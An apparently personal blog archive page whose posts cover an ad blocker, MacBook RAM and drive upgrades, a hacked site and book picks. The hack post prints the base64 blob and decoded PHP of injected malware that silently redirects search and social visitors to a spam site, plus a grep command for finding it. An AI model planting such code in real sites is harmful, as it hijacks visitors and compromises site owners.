April 2012
M T W T F S S
« Mar   Jul »
 1
2345678
9101112131415
16171819202122
23242526272829
30  

Archives

Spring Upgrade: Ad Block Plus

As part of the spring cleaning, this past weekend, I wanted to clean up my web browsing and reduce the number of annoying ads that I see in every website I visit. This include all those annoying ads on youtube and other similar sites.
This is what I found!!!

Ad Block Plus

It a wonderful plugin for web browser that removes all your ads!!! Really!!!.

What is cool about ABP is that it is a Chrome plugin. However, no plugins for Safari yet.

Ref: http://adblockplus.org/en/

YEAH! UPGRADES!


Currently my laptop is a late-2008 MacBook Pro. It is probably the best laptop that I’ve ever owned. It is definitively the only laptop that I have ever used for more than 1.5 years. This laptop is currently working on it’s 4th year. From the original specs this model of MacBook Pro only suppose to support max of 4 Gigs. Some people before were able to get 6 gigs on it, however, after Lion everything changed. With a firmware upgrade, my late 2008 MacBook Pro supports 8 Gigabyte of RAM!!!! Check out this article for more details.

So with my new found knowledge, I quickly purchased my upgrades from Newegg. This is what I got.

First, Memory… for $40 bucks I was able to double my memory. GREAT DEAL!!!!

Then I decided… maybe I should go ahead and upgrade my HD. I thought about a SSD, but I can only afford a 120GB SSD, which is smaller than my current drive size. The SSD will be must faster, but much smaller. I then saw the Hybrid drives. It got mix reviews, but the price is right, so why not. (note: right after I bought mine, newegg put this drive on promotion, it is now only $89.99!!! DOH for me!!!)

So with my removal of my 250 GB drive, I though it would be nice to have an extra external drive, so I got this case for $7.99. Yeah… pretty cheap huh!!  The best part is I can use this new USB case to transfer all my data to my new drive so I won’t miss a beat!!!!

So with very little money, I’ve refreshed my laptop and hopefully I can get another year or two out of it!!! That will be excellent, if I can do that!!!

Reference:

Damn you Hackers!!! Go to Hell!!!

So today, I noticed my another hack that’s been installed on my machine. I have to say ever since my move to GoDaddy.com, my site has been hacked over and over again. This is number #3. The reason why I posted about this one is because it is actually pretty interesting and finding what was done was like a mystery. So let me tell you a quick story.

So this evening I was trying to figure out how to get my project 365 page to post automatically to my website. This is when I first noticed a slowdown and issue when I am using the debugger from Facebook. At first I thought it was the wordpress plug in, but it occasionally works. I got everything ready, and posted my first auto post and strange things started to happen.

As I stated, everything looked normal at first until I click on the links provided by Facebook. When I click on the Facebook link to my website, it goes to some spam site. At first I thought it was the .htaccess hack that was I received a while back, but that is not the case. Then I thought maybe it was a DNS hack. That was also not the case, finally, I found the following in all my .php files on my web server.

It uses eval command and nested with base64_decode the following block of code.

DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhl
YWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVS
RVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICgh
c3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Ig
c3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBz
dHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0
cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJp
c3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBz
dHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQu
bHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5k
ZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgi
L2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlz
cGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRy
ZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3Ry
aXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vbWlua29mLnNl
bGxjbGFzc2ljcy5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ

it is quite clever. It is encoded and people may easily over look it, but when you decode the text this is what you get

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,”MSIE 7.0″)){
if (stristr($referer,”yahoo”) or stristr($referer,”bing”) or stristr($referer,”rambler”) or stristr($referer,”gogo”) or stristr($referer,”live.com”)or stristr($referer,”aport”) or stristr($referer,”nigma”) or stristr($referer,”webalta”) or stristr($referer,”begun.ru”) or stristr($referer,”stumbleupon.com”) or stristr($referer,”bit.ly”) or stristr($referer,”tinyurl.com”) or preg_match(“/yandex\.ru\/yandsearch\?(.*?)\&lr\=/”,$referer) or preg_match (“/google\.(.*?)\/url\?sa/”,$referer) or stristr($referer,”myspace.com”) or stristr($referer,”facebook.com”) or stristr($referer,”aol.com”)) {
if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){
header(“Location: http://minkof.sellclassics.com/”);
exit();
}
}
}
}
}

Tricky huh?

So well… solution? remove all code in all .php files and with a little help from “grep” I was able to locate all the bad codes.

grep -H -r ‘eval(base64_decode’ ./

So, Go To Hell You Punk Hackers!!! I hope you guys get busted and become someone’s bitch in prison.

Physics of the Future

I recently finished a great book by https://twitter.com/#!/michiokaku. He is a theoretical physicist that writes books about technology and about the future. Take a look at his wiki page. Anyways, the book Physics of the Future is very good, I think anyone who loves science and wonders what the future might be like should give it a read. He paints a future not of just pure science fiction prespective, but of a future with advancements based on the current technology and why that future is possible, etc. If you are too lazy to read the actual book…try the audiobook. It is a good way to learn something in your daily commute.


http://www.amazon.com/Physics-Future-Science-Shape-Destiny/dp/0385530803

Another good one from Michio Kaku is called the Physics of the Impossible. Great book about if all the science fiction technologies and sciences are actually possible or not.

So what is my next book?
My next book next book will be Flatland: A Romance of Many Dimensions.

Check it out:

What is great about this book is that it is so old, from ’84. 1884 that is. ;) It is so old, that this book is pretty much free, almost everywhere.